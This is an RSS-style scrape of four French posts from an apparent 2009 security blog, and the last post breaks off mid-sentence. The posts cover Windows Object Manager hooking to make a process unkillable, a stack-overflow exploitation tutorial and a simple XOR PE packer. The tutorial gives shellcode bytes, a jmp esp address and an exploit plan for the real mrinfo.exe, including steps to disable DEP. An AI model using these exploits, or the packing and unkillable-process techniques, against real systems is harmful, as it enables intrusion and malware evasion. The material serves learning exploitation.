<item><title>ph03nix et l'object manager</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonjour à tous, cette semaine j’ai décidé de me pencher sur les objectstypes initializerJe surfais sur le blog de mon maître jedi quand je suis tombé face àface sur un article concernant ces « Object Type Initializer », ilaborde alors le sujet en énumérant quelques applications possiblesRendre un processus inkillable fut mon premier objectif, je pris doncmon courage a deux mains et me mit à bosser le sujetIl existe sous windows un "sous-système" qui a pour rôle de gerer lesobjects L'object manager souvent abrégé "ObjMgr", est un système quiva gérer les ressources de windows Ce que je désigne par le nom de“resource” peut être : un processus, un device, un driverTout ces objects sont constitués de la même façon Ils commencentd’abord par un header OBJECT_HEADER et sont suivit d'un body quichange en function du type d’object, EPROCESS pour un process,FILE_OBJECT pour un fichier ainsi de suiteL'object manager à donc pour rôle de fournir à l’utilisateur uneinterface pour manipuler les différentes resources du noyau, cetteinterface étant principalement basée sur les handlesChaque object posséde une structure de type OBECT_TYPE_INITIALIZER quiest identique pour tout les objects de même type Je décide donc desortir le kd pour me renseigner un peu plus sur cette structureD’abord j’utilise la commande process du kd Je cite :Syntax in Windows XP and later:process /s Session /m Module Process Flagsprocess /s Session /m Module 0 Flags ImageNameProcess    Specifies the hexadecimal address or the process ID of the process on the target computerThe value of    Process    determines whether the    process    extension displays a process address or a process ID  If    Process    is    -1    in Windows NT 40 or is omitted in any version of Windows, the debugger displays data only about the current system process If    Process    is    0    and    ImageName    is omitted, the debugger displays information about all active processesFlagsSpecifies the level of detail to display    Flags    can be any combination of the following bits If    Flags    is 0, only a minimal amount of information is displayed The default varies according to the version of Windows and the value of    Process    In Windows NT 40, the default is 0x3 if    Process    is omitted or if    Process    is 0; otherwise, the default is 0xF In Windows 2000, the default is 0x3 if    Process    is omitted or if    Process    is 0 and    ImageFile    is omitted; otherwise, the default is 0xF In Windows XP and later, the default is 0x3 if    Process    is omitted or if    Process    is either 0 or -1; otherwise, the default is 0xFBit 0 0x1Displays time and priority statisticsBit 1 0x2Displays a list of threads and events associated with the process, and their wait statesBit 2 0x4Displays a list of threads associated with the process If this is included without Bit 1 0x2, each thread is displayed on a single line If this is included along with Bit 1, each thread is displayed with a stack traceBit 3 0x8Windows XP and later    Displays the return address, the stack pointer, and on Itanium-based systems the    bsp    register value for each function The display of function arguments is suppressedBit 4 0x10Windows XP and later    Sets the process context equal to the specified process for the duration of this command This results in a more accurate display of thread stacks Because this flag is equivalent to using    process /p /r    for the specified process, any existing user-mode module list will be discarded If    Process    is zero, the debugger displays all processes, and the process context is changed for each one If you are only displaying a single process and its user-mode state has already been refreshed for example, with    process /p /r   , it is not necessary to use this flag This flag is only effective when used with Bit 0 0x1Me voilà partiskd process 0 0**** NT ACTIVE PROCESS DUMP ****PROCESS 817cc7c0  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000DirBase: 00039000  ObjectTable: e1001cb0  HandleCount: 204Image: SystemPROCESS 8160b698  SessionId: none  Cid: 0228    Peb: 7ffdc000  ParentCid: 0004DirBase: 0335b000  ObjectTable: e12feac0  HandleCount:  21Image: smssexePROCESS 817e98f0  SessionId: 0  Cid: 0264    Peb: 7ffdf000  ParentCid: 0228DirBase: 0440b000  ObjectTable: e13f8c08  HandleCount: 267Image: csrssexePROCESS 815de5e0  SessionId: 0  Cid: 027c    Peb: 7ffdb000  ParentCid: 0228DirBase: 04511000  ObjectTable: e1440eb8  HandleCount: 251Image: winlogonexePROCESS 815b8020  SessionId: 0  Cid: 02a8    Peb: 7ffde000  ParentCid: 027cDirBase: 04e53000  ObjectTable: e14da758  HandleCount: 240Image: servicesexePROCESS 815b4020  SessionId: 0  Cid: 02b4    Peb: 7ffd5000  ParentCid: 027cDirBase: 04ef0000  ObjectTable: e1512ee0  HandleCount: 273Image: lsassexePROCESS 8159c020  SessionId: 0  Cid: 0350    Peb: 7ffd4000  ParentCid: 02a8DirBase: 0586d000  ObjectTable: e15371a8  HandleCount: 209Image: svchostexePROCESS 8158ebd8  SessionId: 0  Cid: 03a4    Peb: 7ffd9000  ParentCid: 02a8DirBase: 05be1000  ObjectTable: e1567690  HandleCount: 218Image: svchostexePROCESS 8157d1b0  SessionId: 0  Cid: 0408    Peb: 7ffdc000  ParentCid: 02a8DirBase: 06467000  ObjectTable: e14277b8  HandleCount: 774Image: svchostexePROCESS 81571968  SessionId: 0  Cid: 0458    Peb: 7ffd7000  ParentCid: 02a8DirBase: 06ac0000  ObjectTable: e14d7ba8  HandleCount:  55Image: svchostexePROCESS 81562a08  SessionId: 0  Cid: 04b4    Peb: 7ffde000  ParentCid: 02a8DirBase: 06aa5000  ObjectTable: e15ab910  HandleCount: 108Image: spoolsvexePROCESS 8152eda0  SessionId: 0  Cid: 05b4    Peb: 7ffde000  ParentCid: 058cDirBase: 097c9000  ObjectTable: e1abb258  HandleCount: 380Image: explorerexePROCESS 81525928  SessionId: 0  Cid: 0638    Peb: 7ffd6000  ParentCid: 05b4DirBase: 0ad0c000  ObjectTable: e1b763f0  HandleCount:  36Image: VMwareTrayexePROCESS 81512300  SessionId: 0  Cid: 0648    Peb: 7ffd4000  ParentCid: 05b4DirBase: 0b018000  ObjectTable: e15ed1a0  HandleCount:  73Image: VMwareUserexePROCESS 8150b3e8  SessionId: 0  Cid: 0650    Peb: 7ffd7000  ParentCid: 05b4DirBase: 0b232000  ObjectTable: e15eb6a8  HandleCount:  69Image: ctfmonexePROCESS 81509ad0  SessionId: 0  Cid: 0660    Peb: 7ffdc000  ParentCid: 05b4DirBase: 0b3b8000  ObjectTable: e15f3830  HandleCount:  30Image: LClockexePROCESS 814f3540  SessionId: 0  Cid: 06b4    Peb: 7ffde000  ParentCid: 02a8DirBase: 0bc5f000  ObjectTable: e1ba3648  HandleCount:  42Image: VMwareServiceexePROCESS 814ab8d8  SessionId: 0  Cid: 00b4    Peb: 7ffde000  ParentCid: 02a8DirBase: 0cfb3000  ObjectTable: e1b74bb0  HandleCount: 106Image: algexePROCESS 8149b668  SessionId: 0  Cid: 06a8    Peb: 7ffdc000  ParentCid: 05b4DirBase: 0906c000  ObjectTable: e1528008  HandleCount:  88Image: OSRLOADERexePROCESS 8156f740  SessionId: 0  Cid: 031c    Peb: 7ffdd000  ParentCid: 05b4DirBase: 072b0000  ObjectTable: e10d49d0  HandleCount:  64Image: DbgviewexePROCESS 8149b020  SessionId: 0  Cid: 0400    Peb: 7ffdb000  ParentCid: 05b4DirBase: 08b93000  ObjectTable: e1618448  HandleCount:  75Image: taskmgrexeEnsuite j’utilise la commande objectThe    object    extension displays information about a system objectobject       AddressAddressIf the first argument is a nonzero hexadecimal number, it specifies the hexadecimal address of the system object for which to display informationOn prend donc n'importe quel processus, car tous ces objects sont dumême type, de plus la structure OBJECT_TYPE_INITIALIZER est globale àchaque type d'objectkd object 817cc7c0Object: 817cc7c0  Type: 817cce38 ProcessObjectHeader: 817cc7a8 old versionHandleCount: 2  PointerCount: 51Nous avons donc l'adresse de ses headerskd dt nt_OBJECT_HEADER 817cc7a8+0x000 PointerCount     : 51+0x004 HandleCount      : 2+0x004 NextToFree       : 0x00000002+0x008 Type             : 0x817cce38 _OBJECT_TYPE+0x00c NameInfoOffset   : 0 ''+0x00d HandleInfoOffset : 0 ''+0x00e QuotaInfoOffset  : 0 ''+0x00f Flags            : 0x22 '"'+0x010 ObjectCreateInfo : 0x80560c80 _OBJECT_CREATE_INFORMATION+0x010 QuotaBlockCharged : 0x80560c80+0x014 SecurityDescriptor : 0xe10017d5+0x018 Body             : _QUADA partir de cette structure nous pouvons 'jongler' dans les headers del'objectNous avons son Body en +0x18, ici il s'agit d'un pointeur sur unestructure de type EPROCESSNous avons un pointeur sur une structure de type OBJECT_TYPE, cellequi nous intéresse s'y trouvekd dt nt_OBJECT_TYPE 0x817cce38+0x000 Mutex            : _ERESOURCE+0x038 TypeList         : _LIST_ENTRY  0x817cce70 - 0x817cce70 +0x040 Name             : _UNICODE_STRING "Process"+0x048 DefaultObject    : null+0x04c Index            : 5+0x050 TotalNumberOfObjects : 0x15+0x054 TotalNumberOfHandles : 0x4c+0x058 HighWaterNumberOfObjects : 0x16+0x05c HighWaterNumberOfHandles : 0x52+0x060 TypeInfo         : _OBJECT_TYPE_INITIALIZER+0x0ac Key              : 0x636f7250+0x0b0 ObjectLocks      : 4 _ERESOURCENous voilà dans cette fameuse structure 'globale'On y reconnaît bien le nom du type d'object à savoir Process dans cecas làNe perdons pas de vue notre structure OBJECT_TYPE_INITIALIZER en+0x60, go kd dt nt_OBJECT_TYPE_INITIALIZER 0x817cce38+0x60+0x000 Length           : 0x4c+0x002 UseDefaultObject : 0 ''+0x003 CaseInsensitive  : 0 ''+0x004 InvalidAttributes : 0xb0+0x008 GenericMapping   : _GENERIC_MAPPING+0x018 ValidAccessMask  : 0x1f0fff+0x01c SecurityRequired : 0x1 ''+0x01d MaintainHandleCount : 0 ''+0x01e MaintainTypeList : 0 ''+0x020 PoolType         : 0  NonPagedPool +0x024 DefaultPagedPoolCharge : 0x1000+0x028 DefaultNonPagedPoolCharge : 0x290+0x02c DumpProcedure    : null+0x030 OpenProcedure    : null+0x034 CloseProcedure   : null+0x038 DeleteProcedure  : 0x8058a87d     void  ntPspProcessDelete+0+0x03c ParseProcedure   : null+0x040 SecurityProcedure : 0x8056a71e     long  ntSeDefaultObjectMethod+0+0x044 QueryNameProcedure : null+0x048 OkayToCloseProcedure : nullJe me vois donc hooker la callback DeleteProcedure, en effectuant unesorte de trie des processus victimes de la fonction PspProcessDeleteLe prototype cette fonction est le suivant :VOIDPspProcessDelete IN PVOID Object Il me suffisait donc de récupérer le nom du processus, de le comparera celui que j'etais censé protégé du kill et donc de lancer, ou aucontraire de ne pas lancer la fonction PspProcessDeleteJ'installe donc mon hook, ma condition maisLe processus se fait quand même killerFrustré je vais tenter de vous montrer pourquoi il m'est impossible deprotégé d'un kill du processus en controlant la DeleteProcedure« Merci à windows pour avoir foutu mon post en l'air : »Pour les personnes qui voudraient tout de même rendre un processusinkillable, vous pouvez toujours allez hooker la SSDT par exemple Laraison pour laquelle mon hook n'a pas fonctionné est la suivante :Cette callback est _apparemment_ pas utilisé pour détruire l'objectmais pour déférencer le processus des tables  EPROCESS par exemple Je n'intervenais donc en aucun cas sur la suppression ou non duprocessus cibleOn pourrait, je pense, faire des petits trucs sympathiques en allants'amuser à hooker les procedures dans d'autre type d'objectSi on hookait la OpenProcedure d'un type File, on pourrait par exemplemettre en place une espèce de routine de traitement, histoire de «monitorer » à chaque ouverture de handle sur l'objectEn tous cas, je ne voudrais pas m'avancer en ce qui concerne cesexemples d'exploitations car comme la mienne elles pourraient êtrevouées à l'echec  :Bref continuons un peu plus sur les objectsAu sein de la structure de type OBJECT_TYPE_INITIALIZER on peutcroiser plusieurs type de callback :* Open qui est appelé lors de la création/ouverture/copie d'unhandle* Close qui est appelé lors de la fermeture d'un handle* Delete qui est appelé lors de la suppression d'un object pour ledéréférencerCes « méthodes » sont celles que j'ai pu rencontrer dans ma petiteexcursionVoilà les informations que j'ai pu récoltés sur l'object manager, siquelques personnes auraient menés des recherches en rapport aveccelui-ci merci de me le faire savoir :A présent je vous propose mon code  foireux certes  de hook de laDeleteProcedure :* ph03nixcEt un petit lien venut tout droit du uninformed v8 :* Objects types initializersVoilà c'est finis pour aujourd'hui, en espérant que le post plaira acertains malgrès l'echec de mon hook :/CyaPS : Un échange de liens vient d'être mise en place avec les noxistesainsi qu'avec Ghosts In The Stack, je les ajoute donc à la blogrollz,bonne continuation à eux et merci à eux deuxIMAGE</description><link>http://www.secuobs.com/revue/news/104777.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104777.shtml</guid></item>
<item><title>Trip in d4 st4ckz</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonjour à tous, me revoilà après 2 semaines de travail acharné  oh  J'ai choisis de traiter un domaine plutôt classique et bien documenté,celui des stacks overflows sur un système windowsUn beau matin, je me suis réveillé en ayant pleins de question sur lapile et les dépassements de tampons  J’ai donc décidé d'entamer unpetit article là dessusCe domaine ne m'est pas complètement inconnu, il m'est arrivé depasser un peu de temps sur des wargames, et donc d'exploiter des casclassiques de buffer overflow sous système unix Seulementj'exploitais sans réellement comprendre le fin fond de la choseDepuis, j’ai mieux compris les choses après de nombreux tests sur monsystèmeConseils préliminaires :* Utiliser une machine virtuel, pour menez des tests c'est trèsintéressant- Je vous conseil aussi l'utilisation de masm32 pour compiler lesshellcodes, car mes exemples ont été développé avec celui-ci* J'ai aussi remarqué un plantage d'OllyDbg v13 lorsqu'on debugnotre programme, il me semble qu'un caractère de l'adresse deretour ne lui plait pas, c'est pour cela que j'ai du jonglerentres la version 13 et la version 2 prealpha disponible en libretéléchargement sur leur siteAu passage, quelques notions d'asm seront requis, je pars du principeque vous manipulez un minimum ce language Pour info, j’ai effectuémes compilations directement avec gcc 342 mingw-specialI Préparons-nous Nous voilà partis, sachez que je mets a disposition une archivecontenant l'ensemble des codes et sources, tous cela permettant auxpersonnes ne pouvant compiler les binaires pour raisons X ou Y desuivre l'articleNous pouvons commencer à parler vulnérabilité D’abord, pour illustrerce petit paper on va se baser sur un code vulnérable Celui-ci vacréer un tableau de 10 caractères, nous allons ensuite y copier lecontenu du premier argument passé au programme Pour cela on utilisela fonction strcpy de cette façon :functionargv1;void functionchar* buf{char ownz10;strcpyownz,buf;}Je tiens a préciser que j'ai compiler mon code avec la ligne suivante,une compilation classique :%gcc% testc -o testexe             On pourrait se demander ce qui se passe si nous allons mettre beaucoupplus de 10caractères dans l'argument  Il va se produire ce qu'onappelle un dépassement de tampon de l'anglais buffer Overflow Dansnotre cas le buffer étant dans la pile il s'agit d'un stack overflowTentons notre chance :testexe "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"Et voilà la superbe fenêtre de dialogue windows qui nous annonce quenotre programme a plantéLa curiosité nous envahit, place à la seconde partie :II Pop d4 worldNous allons maintenant nous intéréssé a ce qui se passe au niveau dela pile, du code asm, enfin bon nous sortons notre bon vieux ollyDbg:004012D7  /$ 55             PUSH EBP004012D8  | 89E5           MOV EBP,ESP004012DA  | 83EC 18        SUB ESP,18004012DD  | 8B45 08        MOV EAX,DWORD PTR SS:EBP+8             ; |004012E0  | 894424 04      MOV DWORD PTR SS:ESP+4,EAX             ; |004012E4  | 8D45 F0        LEA EAX,DWORD PTR SS:EBP-10            ; |004012E7  | 890424         MOV DWORD PTR SS:ESP,EAX               ; |004012EA  | E8 21050000    CALL                 ; strcpy004012EF  | C9             LEAVE004012F0   C3             RETNVoici la fonction vulnérable en question On peut introduire à cemoment la notion de prologue et d’épilogue Je m'explique, lesinstructions vont être exécutées les une après les autres de haut enbas bien sûr Lorsque le processeur va rencontrer l'instruct call, parexemple :call 0x11223344Il va enfaite mettre sur la stack la valeur du registre EIP celui quipointe sur la prochaine instruction à exécuter, puis jumper dessusEn clair nous avons :push EIPJMP 0x11223344Nous pouvons schématiser la pile comme cela quand nous serons en 004012D7, c'est à dire au début de notre fonction|                |+----------------+| Pointeur       || sur une string |+----------------+| Sauvegarde     || de EIP         |    ESP+----------------+Il faut savoir que la structure de la pile est une LiFo Last In FirstOut, c'est à dire que la dernière donnée à être empilé va être lapremière à être dépilée, je trouve l'analogie de la pile d'assietteassez réaliste Imaginez une pile d'assiette, vous empilez desassiettes, la dernière empilé sera la première dépilé bien surA présent le programme suit son cours jusqu'au RETN Une fois quenotre fonction se termine l’exécution doit revenir dans le codeappelant, pour cela l'instruction RETN est enfaite un simple :pop EIPMais c'est ici qu'un problème se pose, en effet la fonction va elleaussi utiliser la pile, résultat le registre ESP ne pointera plus surla sauvegarde d'EIP faites par le call Pour remédier à ca, nousutilisons ce que nous appelons le prologue On appel ainsi la suited'instruction suivante :004012D7  /$ 55             PUSH EBP004012D8  | 89E5           MOV EBP,ESPOn empile la valeur d'EBP, nous donnons ensuite à EBP la valeur de ESPqui pointe sur la sauvegarde d'EBP Nous allons ensuite allouer de lamémoire dans la pile grâce a l'instruction :004012DA  | 83EC 18        SUB ESP,18Nous avons :|                |+----------------+| Pointeur       || sur une string |+----------------+| Sauvegarde     || de EIP         |+----------------+| Sauvegarde     || de EBP         |  EBP = ancien ESP pointe ici+----------------+|                ||Notre Allocation||                ||                |+----------------+  ESPA la fin de la fonction, l'épilogue, lui va se charger de redonner lavaleur au registre leur valeur avant que la fonction soit appelé Onrencontre alors l'instruction LEAVE qui est enfaite la suited'instruction suivante :MOV esp,ebpPOP ebpNous retrouvons donc notre valeur de l'ancien ESP dans qui étaitcontenus dans EBP, et nous dépilons la sauvegarde d'EBP dans EBP biensur L'instruction RETN ce charge de dépiler la sauvegarde d'EIP dansEIPC'est là que la faille aparaitSi nous remplissons notre tampon en le faisant déborder, nousréécrivons la valeur de la sauvegarde de EBP et la valeur de lasauvegarde de EIPAu moment où on va dépiler EIP, elle sera écrasée par notre surplus dedonnée, c'est comme cela qu'on peut contrôler le flux d'exécution denotre programmeEntrons dans le feux de l'actionIII Play with your st4ck, jumping is not a crimeVoilà après avoir identifié la vulnérabilité nous allons pouvoir lesexploitations possibles et évidentes Je vous propose donc dans cettepartie de mener a bien l'exploitation d'un stack overflow avec pourcible le fichier testexe présent dans l'archiveNous avons vu dans la partie précédente les conséquences que peutentrainer un dépassement de tampon, un control du registre EIP, ouautrement dit un total control sur le flux d'exécution de notreprogrammeC'est à ce moment là que l'on va commencer à parler de shellcode Onveut que le registre EIP pointe sur du code exécutable Un shellcodeest donc une suite hexadécimale correspondant au opcodes desinstructions à exécuter Par exemple, pour l'instruction asm :xor eax,eaxNous avons les opcodes 33 et C0Mais le shellcode doit répondre à des contraintes Il doit entre autrene pas contenir d'octet null 0x00, car le shellcode estclassiquement placé dans un tableau de caractères le null byte estdonc à bannir car la fin d'une chaine de caractère est caractérisé parle null byte, notre shellcode serait donc 'coupé' en deux, et nonexécuté dans son intégralitéVoici à quoi peux ressembler un shellcode trouvé sur milw0rm :"xEBx0Fx58x80x30x95x40x81x38x68x61""x63x6Bx75xF4xEBx05xE8xECxFFxFFxFF""xF1x34xA5x95x95x95xABx53xD5x97x95""x56x68x61x63x6BxCD"Bon maintenant que vous êtes sensibilisé aux shellcodes je vaispouvoir vous présentez trois petites exploitations pour tentez de vousfaire assimiler le principeNous allons commencer par l'exploitation la plus réaliste, et la plus« compliqué »Tous d'abord trouvons le nombre d'octet a envoyé pour faire planté leprogrammetestexe "aaaaaaaaaaaaaaaaaaaaBCDE"Super  On voit que l'offset ou le programme plante est 0x45444343autrement dit BCDE en little endian soit EDCBNous avons donc 20octets de manœuvre  Pas beaucoup nous allons doncprocéder de la sorte :'A' x 20jmp espshellcodeJe m'explique :Les 'A' vont permettre de déborder de notre buffer, et jmp esp qu'estce que c'est En effet lorsqu’EIP va être dépilé la suite de l'argument sera présentsur la pile, notre shellcode donc se doit de sauter dessus pourpouvoir l'exécuterS pose un premier problème, on le trouve où notre jmp espPour ma part j'ai choisis de mener une petite recheche du coté desdlls chargées par tous les processus à savoir ntdlldll  Il suffit derechercher l'instruction jmp esp dans la library et de récupérél'adresse On lance ollyDbg et on utilise la fonction de recherche surla suite hexadécimal suivante :FFE4Nous tombons sur :7C951EEC    E8 FFE4FEFF                CALL ntdllDbgPrintL'adresse 7C951EEC pointe sur l'opcode E8, nous ajoutons donc 1 àcette adresse pour atterir sur notre FFE4 : 7C951EEC + 1 =7C951EEDUtilisez la fonction goto de olly et mettez 7C951EED :7C951EED    FFE4                       JMP ESPNiquel  Nous avons donc notre adresse de retour, nous pouvons donccompléter notre plan d'attaque :aaaaaaaaaaaaaaaaaaaaí#•|shellcodeJe ne pense pas que les caractères ascii, conversion de l'adresse deretour à savoir 0xED1E957C  little endian ne passe correctement parle biais du blog, utilisé plutôt les exploits fournis dans l'archiveprévu a cet effet Pour cet exemple j'ai utilisé un shellcode ditstatique les adresses des fonctions utilisées sont hardcodés pourgagner de la place :char shellcode = "x90x90x90x90x90x90x90x90x90x90""xBFxB5x15x86x7C" //mov edi,7C8615B5 l'adresse de WinExec est hardcodé, remplacer si necessaire"xE8xFFxFFxFFxFFxCCx44x58x83""xC0x0Bx6Ax05x50xFFxD7""C:\WINDOWS\system32\calcexe"; //Merci a rAsM pour son shellcode tout petit :Testons l'exploitation, quelques petits screenshots :Une question peut être  Pourquoi ne pas avoir moi même coder ceshellcode Hum tout simplement parce que dans mon étude j'ai voulu exploiter sanssavoir coder de shellcode, je pense que l'aspect exploitation estplutôt encourageant pour ensuite coder ses propres shellcodesJe tenterais de vous présenter le coding de shellcode basique etstatique plus bas Mais pour le moment place au fun : Notreshellcode est bien exécuté, notre calcexe apparaît Bon je vous présente maintenant en quelques mot un second pland'attaque, imaginons que notre shellcode est trop grand pour être missur la stack, nous serions un peu bloqué avec notre ancien pland'attaque, seulement je vous propose un petit « trick » pour évitercelaNous allons utiliser le second argument comme stockage de nosinstructions à exécuter J'ai choisis d'éxécuter une simple INT 3 soitl'opcode 0xCC/--------------------Argv1----------------   /Argv2aaaaaaaaaaaaaaaaaaaaí#•|jmp sur l'argv2   0xCC   Sauf que comment on retrouve notre chaine dans le second argument Justement je suis partit du principe qu'elle devait pas être loin dela première, je me suis donc armé de OllyDbg et j'ai tout simplementcherché la chaine après le première argumentA présent il faut sauterde la stack a cette adresse, pour cela on peut utiliser une feature deOllyDbg très intéressante, c'est à dire que quand nous allons éditerle code asm, et que nous mettons un :JMP 0x11223344Il va calculer lui même le décalage entre l'adresse de l'instructionque vous éditez et l'adresse où vous voulez qu'il saute, comme cela çanous évite de faire des opérations à la main :Je vous propose un screenshot :Nous avons donc l'adresse 003E24C7 + 12 caractères, donc 003E24C7 + C= 003E24D3Nous allons créer notre jump où le ESP pointera lorsque notre JMP ESPsera exécuté, pour nous en 00FF2270Il est important de calculer cette offset a partir de l'instructionqui va sauter sur l'argv2 si vous calculez l'offset autres part ilsera forcément fauxSuper on a tous ce qu'il faut, on récupère la suite hexadécimale biensur pour l'intégrer dans notre exploit :E9 5E 25 1B 00On complète notre plan d'attaqueaaaaaaaaaaaaaaaaaaaaí#•|xE9x5Ex25x1Bx00 xCCOh mais un null byte Ne vous inquiétez pas il est placé en fin de chaine de l'argumentpremier, l'exécution va donc bien se produire :On sort OllyDbg, on lance le test :Et voilà un exemple d'une seconde exploitationJe voulais vous prévenir aussi que j'ai l'impression que windows vavérifié la taille des arguments passé, car il me semblait que lors demes tests si je remplaçais l'INT 3 par un shellcode voisin des300bytes, une partie du shellcode était manquant, donc à vous de voir:Pis pour la dernière exploitation, un truc vraiment histoire de dire,car ceci est un cas completement fictif, imaginer une fonction dansvotre exécutable qui n'est pas appelé, overflow et appelons làNous avons donc un plan d'attaque quelque peu différent qu'avant :aaaaaaaaaaaaaaaaaaaaret sur la fonctionEt pour trouver l'adresse de cette fonction rien de bien compliquer,ollyDbg est encore làNous voilà arriver à la fin de cette partie :Maintenant que vous vous êtes amusez à exploiter tout cela il esttemps d'avoir quelques bases concernant le coding de shellcodestatiqueIV Write your own shellcodesNous y voilà, afin d'exploiter au mieux un dépassement de tampon ilest préférable je pense de pouvoir éxécuter des actions de nos goûtsIl existe plusieurs types de shellcodes, les shellcodes dit statiqueles plus petits, les shellcodes dit générique, et les shellcodespolymorphiquesCependant ont trouve des shellcodes générique polymorphiques, lepolymorphisme n'est qu'une évolution des shellcodes qui a été créérdans le but de bypasser les protections mises en place par les IDS parexempleCeux ci ne seront pas abordé dans cet articleOn appel shellcode statique, un shellcode qui va être utilisable surune machine, on ne pourra sauf execption l'utilisé autre part : ilest statiqueLes adresses des fonctions sont hardcodé au seins du shellcodeBon alors LA contrainte c'est d'éviter les nulls bytes Votre rôle est donc de faire de l'asm, en utilisant des instructions «égale » de pars leur action, mais avec des opcodes différents, petitexemple :mov eax,0xor eax,eaxC'est deux instruction font la même chose, mais possède des opcodesdifférentsLes tricks sont multiples, et puis libre à votre immagination pourinventer en inventerEn ce qui concerne les chaines de caractères je n'ai pas expérimenterde nombreuse technique, si ce n'est que de pusher dword par dword lachaine sur la pile, pas très pratique quand c'est une grandechaine:Donc si vous avez des techniques intéréssante sans trop dedifficultées a mettre en place histoire de conserver une taille assezpetite je suis preneurJ'ai aussi entendu parler du fameux Call/pop, déclaré sa chaine devariable après un call, de tel sorte a qu'un pointeur sur celle-cisoit empilé lors du call, qu'on dépilerai dans le call, seulement jeme retrouvais avec des nulls bytes dans le call:Tout cela pour vos proposer deux petits shellcodes statiques nonoptimisés codé par mes soins avec masm32Shellcode qui va loader user32dll, puis faire une MessageBox etenfin un ExitProcess comme les adresses sont harcodées pour MONsystème, il faudra surrement la changerOn peut donc exploiter notre précédent code avec notre shellcode,c'est si appréciable : :Et puis un petit dernier qui va appeler un WinExec, et enfin unExitProcessIl existe aussi beaucoup de générateur de shellcode, je pense à celuide metasploit qui est très bien, on peut créer des shellcodesalphanumériques, restrictionner l'utilisation d'un opcode et j'enpasse, à tester :Voilà en ce qui concerne les shellcodes statiquesMais à présent un cas concret ça vous dis V Check and pwnz d4 st4ckzMalgrès la présence de concret dans ce petit papier, un cas réel esttoujours apprécier :Je vous propose donc de vous amuser sur le binaire mrinfoexenormalement présent sur un système windows xp  aucune idée pour lesautres versions La faille se situe donc lors du traitement de la chaine passé enargument avec l'option -iJ'ai donc élaborer le petit plan d'attaque :56Aret4 ashellcodeJe commence donc a charger l'executable dans OllyDbg, je trace un peupis je tombe sur la routine vulnérable, le monsieur a réaliserapparemment une routine perso qui copie octet par octet la chaine decaractères en argument dans un autre buffer, et là la taille estencore pas vérifié, résultat rewrite de la stack:Pour vous laissez chercher un peu je vous donne l'adresse du début dela routine chez moi, tout commence en 0100183AUn peu d'illustration, je vous propose un petit screenshot qui montrele début du remplissement de la stack, à partir de celui-ci on peutdeterminer le nombre de lettre a envoyé pour écrire sur la sauvegarded'EIPJe vous file un petit screenshot d'une exploitation faite avec monshellcode WinExec :Et je vous met dans l'archive l'exploit associé avec les sources, afinde pouvoir comprendre/tester la faille :NB : Cette exploitation a est réalisable a priori en désactivant unesécurité mise en place par le système windows sur les binaires natifwindowsPour cela rendez vous dans le Panneau De Configuration - Système -Onglet Avancé - Dans l'intitulé Perfomances : Paramètres - OngletPrévention de l'éxécution des Données - cochez « Activez laprévention d'éxécution des données pour tous les programmes etservices, sauf ceux que je sélectionne : » vous cochez donc «Information multidestinataire »Reboot and sploit :Et voilà, l'article touche à sa fin en espérant que je vous auraisappris quelques chosesEn tous les cas sa rédaction ma permisde mettre au clair lavulnérabilité et les actions qui s'y apparentesVoici le temps des liens, pour commencer les sources onlines :-Vulnc-Exploit1c-Exploit2c-Exploit3c-ShellcodeMBHardcoderasm-ShellcodeWinExecasm-ExploitMrInfoc-Packzip 09c187bda60d10b1f8835999e1d76930 *StackOverflow -0vercl0kblogspotcomzipLe pack contient les sources, les exploits compilés, les shellcodes,tous ce qui a été utilisé dans l'article donc ;Have funCyaIMAGE</description><link>http://www.secuobs.com/revue/news/104776.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104776.shtml</guid></item>
<item><title>The Come bac</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonjour à vous,Les examens terminés, presque en poche, je peux dorénavant mere-consacrer à ce blogJ'ai été tout d'abord pas mal occupé par les revisions par exemple,afin de me permettre de rentrer à l'IUT l'année prochaine J'en profite pour constater que malgré tout ce qu'on peut dire, lascène française est tout de même en ébulition : SSTIC, Nuit du hack,Hacker Space Festival, etcTant qu'on y est je voulais faire une petite publicité pour lemicroblog de nibbles, une idée que je trouve excellente : Il s'agit decréer un blog, dans lequel les posteurs écriraient des 'brêves', oujetteraient quelques bouts de codes, let's share your knowledgeSinan, j'ai préparé un petit article que je compte release en mêmetemps qu'un projet qui est en train de se monter, donc ne vousinquiétez pas des nouveautés arrivent à flots Maintenant que j'ai finis mon blabla et oui, ça fait longtemps , jevous propose un petit code à vous mettre sous la dentIl s'agit en effet d'un """packer""" de binaire PE, il est trèssimpleLe binaire est mappé en mémoire afin de toucher au section, c0rt3x vavérifier si il reste assez de place à la fin de la première sectionafin d'y placer son "loader", qui déchiffrera la section encodée parun simple XORLe binaire est donc directement exécutable en fin du packageQuelques parties de codes furent assez galère à mettre en place, commel'adaptation du loader au binaire etcDe plus je n'avais jamais rencontré de source du style, en C c'estpour cela que je vous propose ce petit codeAu niveau compréhension je ne pense pas qu'il nécessite d'autresinformations que celles relatives au format PE tout simplementVoici le code :c0rt3xcLoaderasmEt voilà de quoi vous occupez un petit peu, à plusC0RT3x WAS HERE IMAGE</description><link>http://www.secuobs.com/revue/news/104775.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104775.shtml</guid></item>
<item><title>Sudami KillMe PoC</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Je me permets d'écrire un petit post après la publication du dernierarticle par mon jedi ; il concerne l'analyse d'un driver tout droitvenu de l'orientEn effet, sudami et son blog avait déjà interpellé notre ami Ivan, ilcontenait les sources d'un rootkit kerneland assez puissant d'après ceque les sources inspiraientCette fois-ci il s'agit d'un PoC concernant une technique de DKOM afinde rendre un processus interminable ; du jamais vu pour ma partC'est pour cela qu'en dévorant ce jolie article, je me suis empresséde coder un PoCJ'ai donc remarquer que lorsque le PoC était "complet", autrement dittoutes les modifications au niveau des structures étaient effectuéesle processus était "inerte"Interminable certes, mais un processus qui ne peux plus rien fairec'est assez embêtant, voir presque inutile apart pour embeter lavictime avec une fenêtre en plein milieu de l'écranun peu à lasudami :Celui-ci est disponible en fin de page bien évidemmentCependant, le fait que le processus était larvaire après avoirappliqué les manipulations de structures kernel, ivan me proposa dejouer en désactivant quelques "protections" afin 